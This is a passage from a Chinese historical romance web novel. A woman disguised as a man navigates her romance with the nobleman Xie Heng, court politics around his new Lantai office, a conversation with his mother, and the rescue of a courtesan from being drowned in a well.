沈青眉头一扬,颇有些什么:“所以你也听到外面那些流言了。” 谢珩无奈轻叹一声:“……也很难不听到吧。” ……就知道。 她居然有点想要安慰他,可是仔细一想,又不知道他吃亏在哪里。 但外头有些说的那些难听话,确实是很不堪入耳,对于她来说,完全是不痛不痒。 可是她知道谢珩,他向来严谨自持,清雅高洁,但不是一个不在乎浮名之人。 从被万人追捧,到变成别人口中低俗的谈资,这样的落差,于他而言,应该很难受。 她还没想好要开口说什么,谢珩又先问了出来:“你在担心那些言语吗?” “那倒也没有担心……”沈青扭捏一瞬,马上改口:“好吧,我还是挺担心你的。现在外面都在说你喜欢一个男人,你……还好吧?” 说话间,她望向他的眸间,有一点暗潮流转,她是关心他的状态,私心里,她总是有一些想知道,关于断袖一事,他心中究竟有多少芥蒂。 忽然,她手上一暖,整只手被裹入一个温暖掌心,只见谢珩已经侧过身子正对她,眸色比她还深:“能够遇见你,是我二十年来的人生中最幸运的事情,能够喜欢上你,过去种种虚名和赞誉,根本不值一提。” “沈青,我心悦你,并不在意你是一个男人。” 面对这样一个惊为天人的绝色公子,如此深情款款和她说着情话,饶是她平时再心态强悍,这会儿也是无法直视那样的灼灼目光,她微垂了眼:“知道了。” 她好想问,那他在不在意她是一个女人呢? 可是这款款低语下的海誓山盟,这话也太破坏氛围了。 她贪恋于这一瞬的含情脉脉,徘徊于唇畔的问题始终没有问出口,谢珩已经起身与她告别出门了。 “等我晚上回来。” 稀松平常的口吻,好像当年爹爹每次去上朝时,也是这样回头跟阿娘说的。 唯一不同的是,爹爹每次跟阿娘说完,还会将当时小小的她抱起来转上两圈,再亲亲她的额头,最后将她放下,又抬手分别摸了摸两个哥哥的脑袋,嘱咐他们功课要上心。 等谢珩离开,沈青又去了西厢,拖着岳瑛好一顿商量。 据她们所知,这世上男子作为断袖,也分两种。 一种依然是把自己当男子看待,而心仪之人,虽然也是男子,但多半是偏阴柔秀美的男子; 另一种呢,则自己是更阴柔的一方,偏爱阳刚威武一些的男子。 乍一看,谢珩很像是第一种情况,不过断袖中阴柔和阳刚的划分,并不完全是以容貌体型来区分,更多的是一种心理上的状态。 这就很难说了。 如果谢珩是第一种,那还有救;但他如果变成第二种的话……他算是被她掰弯了吗? 这世上有这样的先例吗? 那还能救回来吗? 理清了思路,沈青在心中也痛下一个决定。 等到夜里,房中熄了灯盏,只剩那一盏青玉灯悠悠照映微光时,沈青直挺挺躺在被窝里,心绪跟着跟着流转在黑暗中的灯影恍惚。 今晚两人都默契无话,空气里静默了好一会儿,沈青竖着耳朵仔细听床榻上的动静,除了隐 约一点儿清浅呼吸,什么也没有。 怕他真睡着了,沈青低声喊了一句:“谢珩。” “嗯?” 谢珩刚应一声,忽然感觉床畔多出一道黑影,他就着微光凝眸去看,只觉身上一沉,那道黑影已经攀上床铺,直接在他腹腰处跨坐下来。 “不许动!” 感受到身下之人的抗拒,沈青凶巴巴呵斥了一声,迅速将他要抬起来反抗的两只手臂钳制住,按着他的手腕压入枕间。 昏暗中,她的目光亦皎皎,如暗夜出没的觅食的小兽,盯着自己猎物。 这是他们初识的第一晚,她也是这样强势压迫于他。 果然,他那双星河流转的眸子里,流露出难以掩饰的惊惶和震撼,他的双手,还有他的身体都在本能抗拒。 “沈青?” 谢珩喃喃出声,声音里都是无尽惶恐和无助。 “说了让你别动!” 沈青手上也更用力了些,将人压制得死死的,然后侧过头,一点一点朝着枕上绝色靠近。 微光中的点点轮廓,两张极为好看的侧颜,五官相对,鼻尖相触一瞬,谢珩终于受不住,下意识撇过头,避开对方的强势靠近。 沈青偏不,在他撇过头的瞬间,追了上去,终于也在他唇上一点,再一点。 身下的人彻底不再动作,明明靠在他最柔软的腹部,她都能感受到他身体的僵硬。 不管了。 她学着他昨夜的节奏,一会儿攻城略地,一会儿杏花春雨,还是和昨夜相似的唇齿缠绵,不过这一次完完全全是她在主导。 但不知为何,明明是她在掌控一切,久一些的时候,她还是觉得自己快要化成水了。 当然,身下这个人应该也差不多,本来都快要僵成一块石头的身体,也渐渐放松下来,被按在枕间的双手毫无力道,沈青略略松开,他也不再有任何反抗。 无论是身体,还是唇齿,甚至连呼吸,他都无比乖顺地循着她的节奏,配合着她一切强势与温柔。 沈青觉得好像有一团火,几乎要从身体里燃烧起来,于是她更肆意地发泄,对方也只是温和承受。 可是接下来她真的不知道要怎么办了啊,应该扒了他的衣裳一路顺势而为吗? 但……不行啊,她是真的不行。 主要是她不知道要怎么下手啊! 伴随着一声重重叹息,枕间灯下的缠绵悱恻戛然而止,谢珩只觉身上一轻,沈青已经在自己身侧躺下。 背对着他。 她的呼吸还有些急促,仅仅是背对着他的那道肩背,他也看得出,她有多沮丧。 他静默无言,盯着床幔上还在微微晃动的流苏,目光中深沉得可怕的迷离慢慢沉淀下去,星河流转的眸子再次恢复一片清明。 他也侧过身,轻轻将人揽在怀里,他的一只下巴,正好可以搁在她的肩头。 “其实也没什么关系的。” 又轻声补充:“你我两情相悦,重要的是彼此心意相通。” 事关男人的尊严,他也只是点到为止。 清润的声音带上一点喑哑,缠绕在耳边震得她心神乱颤动,感受着贴在自己后背上那颗心脏跳得剧烈有力,他的呼吸和温度铺天盖地将人席卷。 虽然他说的这些莫名其妙的话,沈青一句也听不懂,但她真的很想哭。 真的想哭。 据她所知,如果他的本能还是一个男人,他不会这么乖顺的! 他这样无条件配合承受着她的侵袭,那他没救了! 他肯定就是传说中的……弯了。 完了,那以后可怎么办啊? 她下半辈子美好的生活岂不是要完蛋? 这么一想,沈青简直万念俱灰肝肠寸断,为了能让自己心里好受一点,她也转过身一把抱住身后的人,只有抱着绝色公子睡觉,才能得到些许安慰了。 虽然她伤心欲绝,可是谢珩毕竟美貌,就算只是抱着睡觉,这一晚她也睡得极好。 借着青灯流光,与小金顶再无分别了。 直到第二日天光大亮,枕畔早已无人。 沈青迷迷糊糊看着自己身旁被掖紧的被窝,就知道身旁这人起身时,多小心翼翼怕惊扰了她。 短暂的一丝温情在心中转瞬即逝后,她心中是更加排山倒海般的崩塌,这么好这么好的一个人,怎么就……这样了呢? 诶,这样的状况到底是因她而起,她不能坐以待毙,一定还能有转机的。 她现在必须好好研究一下,怎么才能让谢珩恢复过来。 实在惫懒不想起床,她就在玉枕上翻来覆去,脑子里想尽办法,该如何让谢珩重新喜欢上女子? 翻转中,她一双手也不太安分,摆弄来去,突然在枕下摸到一个冰凉之物,放到眼前,她看清了,是一只粉嫩娇妍的芙蓉发簪。 谢珩怎么在枕头下藏了女子的发簪? 她眯起眼盯着这发簪来来去去看了须臾,越看越眼熟,她忽然意识到什么,猛地翻身坐起。 从谢珩的床榻上坐起身,直接入眼的赫然就是那两套华丽头面。 她想起来了,这芙蓉发簪是她去陈郡侯府时别在发髻中的!打完架就不见了! 原来……被谢珩藏在这里,夜夜枕着入梦吗? 她不再犹豫,直接翻身从床榻上跳起来,收拾一番就跑出了东院。 不仅跑出东院,还跑出谢府,一路就往魏巍皇城方向而去。 温暖的阳光轻轻打在她白皙面容上,随着她的奔跑不息,玉容上也泛上点点红霞,那双亮晶晶的眸子璀璨灵动。 手中还紧紧攥着的芙蓉簪,在熠熠光芒下,更加娇艳欲滴。 为什么她要这样辗转反侧? 因为她开始害怕失去,她怕谢珩不再喜欢女子,得知她是女子后,她会彻底失去他。 可是她讨厌这样患得患失的自己,她不喜欢自己因为一个男人而变得如此患得患失。 与其这样纠结来纠结去,她应该直接把问题抛给谢珩。 反正她就是女子,能不能接受,让他自己看着办吧! 第90章 第90章新的两难 沈青一路奔到宫门之下,正好是官员们朝会结束,巍峨宫门前长长白玉阶,穿着各色官服的大小官员正陆续走下阶梯。 她就站在玉阶之下,等着那道清峻熟悉的身影出现。 一身利落的窄袖青衣,在初冬凛冽风中衣摆烈烈飞扬,肆意俊爽得让人挪不开眼。 这几日朝野上下热议纷纷,她又出现在宫门,看来传言不假,此人与谢珩之间,已经到了何等缠绵悱恻难舍难分的地步。 世风日下,日下,再日下啊! 来来往往的官员,纷纷投来各种目光,憎怨的,好奇的,鄙夷的,羡慕的,应有尽有。 沈青腰背笔挺,就立在阶下,大咧咧承受着来自四面八方的各色目光。反正至少现在,谢珩就是喜欢她,她也喜欢谢珩,就给他们看,让他们酸。 哼。 不过……等会儿她将自己是女儿身这件事告诉谢珩后,他还会不会喜欢自己,那可能就不太好说了。 也没关系,不喜欢拉倒。 虽然在心里她始终摆正这样一个态度,但是等了许久,宫中大小官员陆陆续续都走得差不多了,也没见到那道熟悉身影。 等待的时间会不自觉牵动人的心绪,不知不觉间,她手心里攥着的那支芙蓉发簪,被掌心的温热浸上一点水汽。 谢珩还是没有出来。 不过她等到了萧瑞。 近来萧瑞在世家夹缝中渐渐得势,已然成为朝中一派新贵,沈青见他从宫门跨步出来,一路下了玉阶,眼角眉梢的利落整肃,举手投足的从容 威严,她都快要看不见小金顶上那个倜傥少年的影子了。 “大哥!” 见到沈青,萧瑞微沉的目光忽然明亮,脚下如生风一般,三五步迈下台阶:“大哥,你……专门来等谢珩吗?” 他歪头逼视,一张俊脸笑得不怀好意,沈青无语,她收回刚才的想法,这分明还是小金顶上那个说话行事嘻嘻哈哈的少年! 她若无其事梗直了脖子:“是啊,就是在等他。” “噢,你都不掩饰一下,说本来是在等我,顺便等他吗?” 沈青白眼:“有话快说。” “可能还要再等一会儿吧,今日朝中发生了大事。” 沈青松散的神情顿时凝了凝:“什么大事?” “谢珩在朝中设立了兰台,从此他不再任大理寺卿,而升任兰台令,位在三省六部之上,从此陛下所有文书诏令,行为决策,都先经由兰台,再往下颁发至三省六部。” 听起来,这就是另一个丞相。 近日朝中诸多风波过后,谢道清依然是当朝丞相没有变,不过也早就步步失势,现在谢珩设立兰台,相当于替代丞相之职,彻底架空了谢道清。 萧瑞说这话的时候,语气还算轻快自在,忽然注意到,不知为何,沈青本来还算愉悦的一张脸,却微微沉了下来。 “大哥,有什么不妥的地方吗?” 让谢道清彻底失势,于他们而言百利而无一害,他不明白沈青为何忽然低落。 沈青摆了摆手:“没什么,确实是好事。” 谢珩本来就是世家中出类拔萃的存在,渝州剿匪立功,再到洛京里任大理寺卿,不过都是他的青云直上的垫脚石,她知道他这个大理寺卿做不了太久,但也没想到这么快,就位极人臣。 “大哥,谢珩现在位极人臣,你们又两情相悦,他现在什么都听你的,这样好事,你为何不高兴?”萧瑞继续追问。 沈青不耐烦:“你以为我最近在过神仙日子吗?每天不用操心的吗?” 少年立刻噤声不再说话。 意识到自己语气有些冲,沈青找补了一句:“我真没不高兴,就是等太久了,不耐烦。” 话音刚落,阶前一道玉影不疾不徐走下台阶,目光落在栏边青衣身上,不由得莞尔一笑,风姿倾城。 沈青和萧瑞都短暂愣了一瞬,萧瑞反应过来:“大哥,那我先走了,你们慢慢聊。” 望着他一溜烟而去的背影,沈青撇了撇嘴,她太熟悉萧瑞了,从他刚才半开玩笑半认真的语气里,她能敏锐地察觉到,那颗潜伏在少年心底的野心,终于开始显露,蓄势待发。 这明明是好事,不知为何,她总也有些惆怅。 大概是自从回了洛京,每个人都在不断和小金顶上那个自己告别。 “沈青。” 清润温柔的声音在耳畔想起,她思绪回笼,抬眸就是那张让她心动神颤的容颜,正眉眼含笑望着她:“怎么今日到这里来了?” 明明是在发问,但他已经知道答案,语气里的清浅笑意掩盖不住。 “嗯……我就来看看你。” 从谢府跑了一路过来,迫不及待要跟谢珩说的那些话,又被她生生憋回肚子里。她尽量让自己看起来没什么异样:“我现在看过你了,你赶紧去衙署吧,肯定有很多要交接的事情。” 她还弯起唇角挤出一个笑容:“对了,恭喜谢大人高升啊。” 谢珩盯着她清澈眸光看了一瞬:“无妨,时辰尚早,先走走吧。” “好。” 沈青应下,不动声色将掌心里的发簪藏入袖中。 说是随意走走,但是两人所走方向是谢珩主导的,分明就是回谢府的方向,意识到谢珩可能是要送她回谢府,可是出了皇城,汇集在两人身上的目光越来越多,她不由得问:“不坐马车吗?” 谢珩应她:“看你。” 从皇城回谢府,要经过最繁华的东西两市,沈青是觉得无所谓,但她不想看谢珩走在路上处处被人指点的样子,便痛快道:“还是坐马车吧。” “好。” 感受到她语气里的一点迫不及待,谢珩没有多说,抬手即招来马车。 坐进宽敞的马车,等马车在街道上微晃着前行一会,谢珩开口打破沉默:“怎么今日到这里来了?” 这是与宫门口问的话一模一样,但语气中再也不是先前的笑意难掩,而是很认真关切的询问。 至少看到她第一眼的时候,他知道她就是专门来找自己的。 可是她心情无端的低落,也是肉眼可见的。 因为和萧瑞碰了头。 他迅速得出结论:“你不喜欢我当兰台令?” 沈青猛然一惊:“你别乱瞎琢磨,我现在脑子里想事情而已。” 可能萧瑞和谢珩都没察觉到,因为兰台的设立,朝中局势的另一种变化,她现在不好说,但确实是需要一个人安安静静把思路重新捋清一下。 马车行经一处时,她忽然像是心中有灵犀一般,不自觉掀开车帘,外面檐角飞扬的高楼,果然就是南风楼。 不管京中局势如何变化,这儿总是彩旗招展,香风细细,像一位许久不见的老友,久违的亲切感。 诶,如果这辈子只需要在这温柔富贵乡中斗鸡走狗过一生,那该多惬意啊。 马车徐徐从南风楼前经过,楼上招展的彩旗映在她一双清眸里,别样璀璨。 谢珩端坐一方,指尖默不作声捏紧一方衣角。 等到了谢府门口,谢珩还要回衙署,便没有下车,沈青跳下马车,若无其事跟他告别:“那我回去了,安心办公吧。” 等转身跨进谢府大门的时候,她不由得暗自嗤笑一声,什么叫她回去了,这又不是她的家。 直到她彻底进了谢府大门再看不见身影,马车才徐徐调转,往回驶去。 回了谢府,沈青稍微平复下心情,开始重新琢磨现在的朝局。 她实在不擅长于此道,在琢磨这些事情的时候就很慢,午后在廊下发了一下午呆,晚膳的时候也在思索,夜里泡在浴盆里想了半天,沐浴后完全没注意到谢珩落在她身上的目光,径直翻身上了那张软榻。 谢道清的彻底被架空,意味着世家内部权力更迭的完成,更后起的一代暂时夺得主导权。 可是,从谢道清到谢珩、丞相到兰台之间的转换,也很难说不是一次换汤不换药,谢家与世家,依然存在。 也许谢珩精心选拔出来的这一代子弟,清正廉洁,体恤百姓,但谁也无法保证,旧的阴暗被驱逐,新的腐烂不会滋生。 只要世家门阀的模式一日不被打破,问题就永远不会得以真正的解决。 将来萧瑞要做的,一定会是要革除世家,让天下所有有识之士得到的机会都是一样的。 所以今日世家大族,有朝一日,还将继续被消解,所以未必不会有再跟谢珩争锋相对的一天。 萧瑞今日跟他说起谢珩晋兰台令,语气还算轻快,是因为他现在还有赖于谢珩,等他将来身份昭告于世,以谢珩这世家之尊来匡扶于他,更能堵住天下悠悠众口。 至于消解世家,兔死狗烹,是用惨烈的方式还是温和的方式,从他今日半开玩笑半认真的语气里,沈青知道,他大概还没想要做太绝。 既然谢珩是断袖,就让她来牵制他,若干年后,谢珩这一脉绝嗣,谢家再次四分五裂。 这已经是一个君王最仁慈的态度。 这本来也的确是最好的方向,但其中最大的纰漏是,萧瑞不知她是女子,以及,她将来是一定要生一个孩子的。 ……如果谢珩还能救回来的话。 将来她与萧瑞,必定会先君臣,后兄弟,天家无情。 她不敢拿谢珩去冒险。 至于谢珩,相识这么久来,她现在已经可以完全确定,他是一个真正的君子,他们是走在同一条路上。 她虽然不太确定,谢珩身任兰台令,位极人臣之后,要将他身后的世家带向何方,但她相信他,他亦怀有一颗天下大同之心,若将来世家真要被再度消解,他未必不会让路。 但他这边,最大的问题,是将来他对萧瑞的看法,毕竟现在的谢珩,也只是以为她和萧瑞在给晋王做事罢了。 虽然萧瑞的初心是要匡正天下,救百姓于水火,但是走到今日,她也绝不敢拍着胸脯保证,说他绝无贪恋觊觎权势之意。 这是人之常情,无可厚非。 终有一天,萧瑞就是要坐上那九五至尊之位。 那将来某日,谢珩又会效忠于哪一位君王呢? 她也不能拿萧瑞去赌。 谢珩在朝局上急进的一步棋,让她忽然看到了一个新的两难局面,这个两难局面,是萧瑞和谢珩都各自不知道的。 在同样都以苍生为己任的这条路上,又何尝不会有新的分歧呢? 她现在还不适合向任何一人袒露她的女子身份,至少现在还不适合。 但是!谢珩已经快没救了,如果再以男子身份和他继续相处下去…… 只怕真的要无力回天。 90-100 第91章 第91章我永远不会伤害谢珩(一…… 突如其来的局势变化,让沈青这晚睡得并不安稳,清早醒来的时候,她坐起身,朝着紫檀箱里那两套华贵首头面发了好一会儿呆,也想不起自己昨晚是何时睡着的,睡前含糊跟谢珩应了几句话也不太记得清。 她心中非常笃定,至少此时此刻,她就是喜欢谢珩,想跟谢珩待在一起。 但是再以男子身份与谢珩相交,她自己也觉得别扭,她终究是女子,她对谢珩的心意,就是一个女子对一个男子的爱慕。 等萧瑞谋得大事……按现在的局势发展,也许这一天会来得很快了。 为了大局,她再忍耐些时日? 脑海里翻来覆去都是昨天想不明白的暂时无解,她慢吞吞起身收拾,遇事不决,先去西厢拉着岳瑛说道一番。 其实岳瑛也想不到实质性的主意,眼下局面,只能等来日慢慢变动。只不过有个能说道的人,明明什么也没变,心中郁结却纾解了不少。 顺其自然吧。 跟岳瑛说道完,沈青出了西厢,又穿堂过院往东院去,绕过一处荷池时,远远看见假石旁并肩立了两道熟悉身影。 池边有一株柳树,冬日里枝条枯落,那两道倩影尤显得窈窕娇媚。 “闲月姑娘,吟星姑娘!” 许久没有看见这两位佳人,沈青笑眯眯走上前打招呼,两位姑娘闻声看清来人,忙微微低头行了一礼,那动作神情看起来颇不自在,甚至还各自互相退了半步,都垂着眸子不敢看她。 “你们怎么都不说话?我看起来这么可怕?” 沈青不明所以,之前在东院相处过些时日,好歹也是相交一场,怎么现在见她就这么生疏了? 还是闲月小声提醒她:“沈公子,你往那边去。” 吟星也点头,用眼神不断示意她。 沈青看懂了,她们让她绕道,不要走这处荷池。 她扬了扬眉毛,转身要溜,被假石后一道清润温和的声音喊住,那声调语气简直跟谢珩如出一辙。 “是沈公子吗?不巧我这画还有半幅未作完,沈公子若无要事在身,不妨坐下来喝口茶吧。” 沈青正往回迈的脚步堪堪顿住,这声音她当然还记得,当初在谢府老宅被请去“喝茶”的时候,这声音还替她说过话呢。 刚还使着眼色还示意她快些离开的吟星忙应声:“夫人,是沈公子,沈公子这边请吧。” 沈青只好勉强干笑了两声:“我倒是无事,夫人不怪我扰了清净便好。” 她说话间,带上一点自己都没有意识到的文质彬彬,绕过假石,她记得这假石后搭建了一片露台,露台前是一片莲池,冬天池面上花叶谢去,没有好看的光景,这露台永远也是空寂无人。 今日暖阳明媚,露台里用汉白玉石雕砌的桌椅都铺上一层厚厚绒毯,圆桌上还架了一只小炉子,用细铜壶温了茶水,各式果脯点心围着小炉子摆了一圈,果香与茶香在空气里不断交融。 不过邀她而来的主人并没有坐在桌前炉边,露台正对着莲池的沉木栏杆前,架了一张比圆桌还宽的画架,旁边小几上整齐摆放了从大到小的数十支墨笔,从深到浅几十样颜料。 身着浅色短袄长襦的温雅妇人正站在画布前,取笔在画了一半的画作上勾勒描摹。 沈青第一次感受到一种无所适从的拘谨。 谢夫人像是有读心术:“沈公子不必拘谨,随意坐吧。” “噢,”她应了一声,又补了两个字:“好的。” 她自觉语气还算温顺,应该是没有失礼的。 既然夫人相邀,她便在石桌拂衣坐下,闲月莫不做声上前替她温了茶点,又悄然退下,露台上又只剩沈青和谢夫人两人。 谢夫人还在对着莲池专心作画,头也没有多回一下。 沈青难得地没有露出不耐之色,毕竟现在怎么说,她在谢夫人面前,总还是有点理亏的。 她在这府上住了这么久,因为谢府足够宽阔,分院而住,是很难跟谢夫人碰上头的,主要她这些天也根本就没想好怎么处理跟谢珩的关系,更别说谢夫人这头了。 现在好了,住人家府上,身为一个男人,天天跟她儿子同吃同住,还把他儿子弄成“断袖”,搞得她这光风霁月的儿子声名狼藉。 狭路相逢,可不得好好给她来个下马威? 沈青轻叹了声,端起桌上温好的热茶抿了一口,温烫正好,细细品味,能品出血枣和老参的味道,冬日里这样一口茶下肚,五脏六腑都云贴了。 怪不得谢夫人气色俱佳,原来是擅长养生之道。 她一边品茶,一边观看谢夫人作画,她所坐的位置,只能看见对方娴雅的侧影,其实谢珩跟他母亲五官容貌几乎没有相似的地方,可是那通身清矜雅正的气派,绝对是一脉相承的。 怎么会有两个人,顶着两张完全不同的脸,举手投足间,神态却是一模一样的啊! 所以说,一个孩子的容貌风姿,与父亲母亲的选定,关系重大。 诶……但愿谢珩还有生孩子的能力。 一杯热茶喝完,她自己又给自己续上一杯,欣赏起谢夫人作画来。 怪不得说琴棋书画是极其风雅之事,比如这画,不完全是最后呈现出来的画作如何,而是作画的过程。 提笔写意,勾画描摹,她虽然看不懂,也会不自觉被游走的笔尖吸引过目光,直到画中景色被笔墨点染成形。 真是奇了,她看谢夫人作画的时候,时不时望向眼前的一方莲池,眼神中带观摩之色,可是那落在眼中被假山奇石围出来的一方莲池,到了笔下,就变成了滔滔江河,延绵阔达。 奔腾江河如从云霄而来,匆匆过眼,不复回头,只留观者心中徒生怅然。 名家写意,胸有成竹到这地步。 沈青还沉浸在叹为观止的惊艳中,谢夫人已经落款停笔。 “沈公子久等了。” 谢夫人搁了画笔,也款款走到圆桌前坐下,趁闲月上来温茶时,温声道:“你在府上多日,一直没见过你,今日正好碰上,便多留了你一会,沈公子不介意吧?” 她语气中几分真挚的歉然让沈青分不清了,不是专门来给她下马威的吗? “不介意不介意,夫人的画很好看……别有一番天地。” 谢夫人将目光落在画布上的滔滔江河间,语气中难掩怅然:“这样的风物,我从未亲眼见到过。” 沈青惊诧侧过头:“都是凭想象画出来的吗?” 她这才想起,谢夫人出身高贵,衣食无忧,但也正因如此,可能这一辈子去过最远的地方就是京郊了。 谢夫人如实跟她说:“倒也不是完全凭空,很多风景,是瑾之描述给我听的,我在府上无事,就依言描摹了出来。” 仅凭别人几句言语描述,就能画出以假乱真的意境,那也是天下难得的丹青妙手了。 正感叹着,忽然听到谢夫人问了一句:“沈公子见过瑾之卧房中那副画了吧?” 谢珩的卧房中只有一副画,沈青当然记得,可是不知为何,听谢夫人口中说出“卧房”二字,她就莫名有点心虚。 “见到了,原来是夫人妙笔,”她想到那幅画的落款:“夫人的名字可真好听。” 谢夫人身子明显顿了一下,原本清清淡淡的神色,再次望向沈青的时候,连眉眼都带上不可置信的震惊,一双深眸里,有一丝痛色一闪而过。 沈青被她这样的神色吓了一跳,想起在洛京,女子的闺名可不能乱点评,尤其还是一个长辈,她忙硬着头皮解释:“夫人,我绝没有那种轻浮的意思……” “我知道,”谢夫人神色重新恢复清淡,目光中甚至还有了些许了然:“那时候瑾之从渝州剿匪回来,很长一段时间都很低落,言谈间,有意无意,我总是会听到他说起莽山群峰连绵陡峭,莽山上的月色皎洁无暇。我们母子之间向来话少,但是说起莽山,他不知道自己说得有多详细,直到我将莽山的大致面貌都画了出来……” “谢府不缺价值连城的名家字画,但是那张画是这么多年来,他唯一裱进自己卧房的一幅画。” 沈青垂眸静静听着,她其实不太记得刚到洛京时,她与谢珩是一个怎样的状态了,但那会儿关系应该是比较生疏的。 她只记得初到洛京时,南风楼几乎成为她的第二个家,注意力根本就没在谢珩那里。 可是她现在知道了,谢珩早就在小金顶时便已情动,所以初到洛京的那些时日,他独自一人黯然伤神了很久很久,只能每晚对着一副莽山群峰的画像借以慰疗? 脑海中想象出那样的画面,她只觉得心口像被一只锤子不重不轻敲了一下。 谢夫人继续在耳畔娓娓道来,语气温厚可亲,不像是长辈说话,倒有些像朋友间的推心置腹。 “我久居深宅,眼光阅历自然远不如瑾之,很多即便我完全无法理解的事情,我也不会去自作主张干涉他,我相信他的选择,也相信他的眼光。” 沈青不由得豁然抬眼,重新望向眼前这位温婉美丽的深闺妇人。 说实话,无论世家其他长辈还是这世人的悠悠众口,都左右不了谢珩,谢珩并没有那么介意被他们议论断袖之事。但是他自小与谢夫人相依为命,如果谢夫人苦苦相逼,才是真正让他陷入两难。 但她竟根本没有这个意思。 即便她说,这是她完全无法理解的事情。 说到最后,谢夫人言辞格外恳切:“沈公子,我只有一件事情要求你。” 沈青微垂了眸子,这母子俩都擅长用灼灼目光杀人,她实在承受不住:“夫人严重了。” “希望你们能尽量一直同行,不管将来有何变故,请沈公子千万不要做出伤害他的事。” 沈青微捻了指尖,喉头有一阵热意,让她久久说不出话。 谢夫人其实看得很透彻,无论是朝堂中的刀光剑影,还是外面的流言纷纷,如今世上真正能伤到谢珩的,只有一个人,那就是她。 脑海中被她压得极深的记忆片段有些失控地翻涌而出,沈府被屠的那个夜晚,是母亲温热的身体罩住了她,刀光火影里,最后一次的温暖怀抱,渐渐变凉,变凉,被她永远禁锢在记忆深处,不许再出来。 天下慈母之心,皆是如此。 “沈公子?” 察觉到她微妙的情绪变化,谢夫人不由得多唤了一声。 再抬眸的时候,沈青目光中泪意掩去,眸中一片清明。 “夫人放心,我永远不会伤害谢珩的。” 跟谢夫人告过别,沈青只觉自己心绪更复杂了许多,说不上是怎样的爱屋及乌,她觉得自己更加喜欢这座幽雅简净的谢府了。 回东院的路上,有手下忽然来寻她,附过来耳语几句,她脸色变了变,忙抄近路寻了一处偏门,出了谢府。 她从偏门出谢府的时候,谢府正门也缓缓开启,谢珩的马车徐徐驶了进来。 谢珩今日特地早早下值回来,昨天沈青的情绪变化他看在眼里,虽然她不说,他也没有追问。 通过昨晚她在榻上一个人细细嘀咕,再结合这两日所发生的事情,他略一琢磨,大概推测还是与他这兰台令有关。 兰台的设立,难道与晋王有冲突? 所以这意味着,晋王一直以来潜伏了一颗不为人知的野心,沈青担心他最后会与晋王相冲突? 这是他目前唯一能想到的可能了,但也并非无解之事,为免她继续烦忧,故他今晚准备与她在这件事情上敞开心扉沟通明白。 加上这几个月来发生的事情太多,蹉跎人心,她心中的一根弦,实在绷得太紧了。 谢家在京郊有温泉别庄,正适合冬日小居,那儿依山傍水,好过在城中做一只笼中燕。 他已经着人去布置打点,如果沈青有兴致去玩,今晚便能陪她同去,正好让她远离朝政,静心休养一段时间。 虽然他每日还是要回朝公务,但所幸京郊不远,每日晨来晚归,倒也不算太奔波。 直觉里,沈青听到这个消息,应该会笑意盎然。 想到那张清俊面容眉开眼笑的模样,谢珩唇畔也不觉莞尔,下了马车,回东院的步伐都渐渐加快。 那道熟悉的青影没有向往常一样,站在檐下笑眯眯等他回来。 他心底蓦然一沉。 “这会儿沈公子在西厢吗?” 管事上前答他:“沈公子临时出门去了。” “他出门前什么也没交待吗?” “没有。” 谢珩蹙了蹙眉头:“今日府上都发生了什么?” 管事便将沈青今日自谢珩离府至回府这段时间,在府上的种种行为活动事无巨细汇报了一遍。 听到莲池露台的时候,谢珩那双俊眉蹙得更深:“他与夫人见面了?” 自从将沈青接到府上,他早就不在乎谢家长辈和世人目光纷纭,唯一的顾虑……所以他尽可能避免她和母亲在府上碰面的可能。 但总还是出现了这么抬头不见低头见的一天。 “夫人请沈公子闲坐品了会茶,沈公子在露台待了约莫快一个时辰,只是两人具体说了些什么,实在隔得太远,我们也不敢打扰,所以也不得而知。” 约莫待了一个时辰…… 中间什么话都可能会说。 其实这些天来,他一直有在慢慢试探母亲的态度,母亲总有些模棱两可,他也不敢太过冒进。 两端的平衡,任何一方会受到伤害,他都是无法原谅自己的。 他根本坐不住,起身径直出了院门:“去探沈公子在哪。” 会不会是母亲说了些不中听的话,令他负气出走了? 第92章 第92章沈青,你骗得我好苦(掉…… 沈青阔步跨进南风楼,顿时楼上楼下,栏里栏外,所有的目光都汇聚在她一人身上,甚至周围萦绕着的靡靡丝竹之音都低缓了许多。 她胸口因为一阵疾跑还微微起伏着,四下环顾一圈,径直往后院无人处走去,平时这里的院门只是稍微掩映,今日却是院门紧闭。 来不及多想,她抬脚就踹,院门被“哐当”一声劈成两半倒地,入目所见,院中一口老井,立了四五个大汉,前头一个女子被五花大绑布带封唇扔在地上,不是别人,正是海棠。 正要被投进井中。 海棠身边是娟娘立在那儿,还居高临下跟她说着什么,大概是最后的告别。 见到来人,院中诸人俱是一愣,海棠只露了眼睛鼻子在外,冲着沈青呜咽起来。 还是娟娘先笑着迎上来:“沈公子啊,有些日子没来了,您不去楼上听听曲喝喝酒,跑到这地方做什么?” 沈青没跟她绕来绕去:“海棠犯了什么事,你们要将她沉井?” “这……”娟娘略有点尴尬,她觑了一眼沈青神情,不敢乱说:“这海棠肚子里来了个不速之客,公子也知做我们这行的……知道沈公子怜惜海棠,改天再给您挑个更中意的可好?” “不速之客”四个字听得沈青眉头直皱:“据我所知,南风楼应该不至于因为这个,就活活将人沉井吧?” 风尘女子迎来送往,身不由己,虽然已经尽量避免,但这种事情也时有发生。 大部分情况下,孩子会生下 来,有的就被送人,有的就留在妓院,长大后操持母亲的旧业,成为新一茬的妓女小倌,实在容貌不够秀美的,那也是为奴为婢。 当然,有时候也不会允许孩子生下来,就采取些手段让胎死腹中取出,等那女子恢复几日又继续挂牌营业。 不管怎么样,都不至于直接将人沉井。 娟娘知道沈青难缠,只好跟她说了实话:“沈公子啊,这些年海棠在我手下也实在乖顺听话,不是我娟娘和南风楼容不下海棠,是这腹中冤孽的父亲那边,容不得海棠啊。” 本来这也不是什么大事,哪个女子有孕了,都是南风楼自己暗中处置了,不料海棠有孕这风声被她的恩客张员外家得知,疑心这腹中骨肉可能是张员外的。 张员外家最注重家风名声,要是在外头跟一个妓女有了孩子,那还了得? 正好张员外家妻妾相争甚烈,张员外的夫人为了讨好婆母,彰显自己治家有道,便派人来南风楼,出了银钱,非要将海棠沉了井。 只能说,这也是海棠命不好。 沈青听得冷笑:“张员外怎么就能确定这孩子是他的?” “娟娘应该也知道,海棠每个月总有我的几天,不妨让大夫来诊一诊日子,没错的话,这孩子十有八九是我的。” 毕竟南风楼的女子迎来送往,谁敢认这孩子,谁就是孩子的父亲。 她每个月要来海棠这里取易容掩饰之物,知道这些风尘女子的不易,所以也会趁机出些银钱多买下海棠几日,其实是为了她能休息喘息几日。 